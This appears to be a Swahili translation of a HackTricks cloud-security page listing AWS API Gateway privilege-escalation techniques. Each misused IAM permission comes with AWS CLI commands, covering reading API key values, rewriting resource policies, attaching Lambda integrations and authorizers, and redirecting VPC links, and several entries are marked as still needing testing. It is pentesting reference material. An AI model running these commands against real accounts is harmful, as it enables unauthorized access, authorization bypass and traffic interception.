AWS - Apigateway Privesc

Support HackTricks

Apigateway

Kwa maelezo zaidi angalia:

apigateway:POST

Kwa ruhusa hii unaweza kuunda funguo za API za APIs zilizowekwa (kwa kila eneo).

aws --region <region> apigateway create-api-key

Madhara Yanayoweza Kutokea: Huwezi kupandisha hadhi kwa kutumia mbinu hii lakini unaweza kupata ufikiaji wa taarifa nyeti.

apigateway:GET

Kwa ruhusa hii unaweza kupata funguo za API zilizotengenezwa za APIs zilizowekwa (kila eneo).

aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Madhara Yanayoweza Kutokea: Huwezi kupandisha hadhi kwa kutumia mbinu hii lakini unaweza kupata ufikiaji wa taarifa nyeti.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Kwa ruhusa hizi inawezekana kubadilisha sera ya rasilimali ya API ili kujipa ufikiaji wa kuitumia na kutumia ufikiaji wa uwezekano ambao API gateway inaweza kuwa nao (kama kuita lambda iliyo hatarini).

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Madhara Yanayoweza Kutokea: Wewe, kwa kawaida, huwezi kupata privesc moja kwa moja kwa kutumia mbinu hii lakini unaweza kupata ufikiaji wa taarifa nyeti.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Inahitaji kupimwa

Mshambuliaji mwenye ruhusa apigateway:PutIntegration, apigateway:CreateDeployment, na iam:PassRole anaweza kuongeza muunganiko mpya kwenye API Gateway REST API iliyopo kwa kutumia kazi ya Lambda ambayo ina jukumu la IAM lililounganishwa. Mshambuliaji anaweza kisha kuanzisha kazi ya Lambda kutekeleza msimbo wowote na kwa uwezekano kupata ufikiaji wa rasilimali zinazohusiana na jukumu la IAM.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Madhara Yanayoweza Kutokea: Ufikiaji wa rasilimali zinazohusiana na jukumu la IAM la kazi ya Lambda.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Inahitaji kupimwa

Mshambuliaji mwenye ruhusa apigateway:UpdateAuthorizer na apigateway:CreateDeployment anaweza kubadilisha mthibitishaji wa API Gateway uliopo ili kupita kwenye ukaguzi wa usalama au kutekeleza msimbo wa kiholela wakati maombi ya API yanapofanywa.

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Madhara Yanayoweza Kutokea: Kupita ukaguzi wa usalama, ufikiaji usioidhinishwa wa rasilimali za API.

Inahitaji kupimwa

Mshambuliaji mwenye ruhusa apigateway:UpdateVpcLink anaweza kubadilisha Kiungo cha VPC kilichopo ili kiashirie kwenye Balansi ya Mizigo ya Mtandao tofauti, ambayo inaweza kuelekeza trafiki ya API ya kibinafsi kwa rasilimali zisizoidhinishwa au zenye uharibifu.

bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Madhara Yanayoweza Kutokea: Ufikiaji usioidhinishwa wa rasilimali za API za kibinafsi, kukamata au kuingilia kati trafiki ya API.

Support HackTricks

Last updated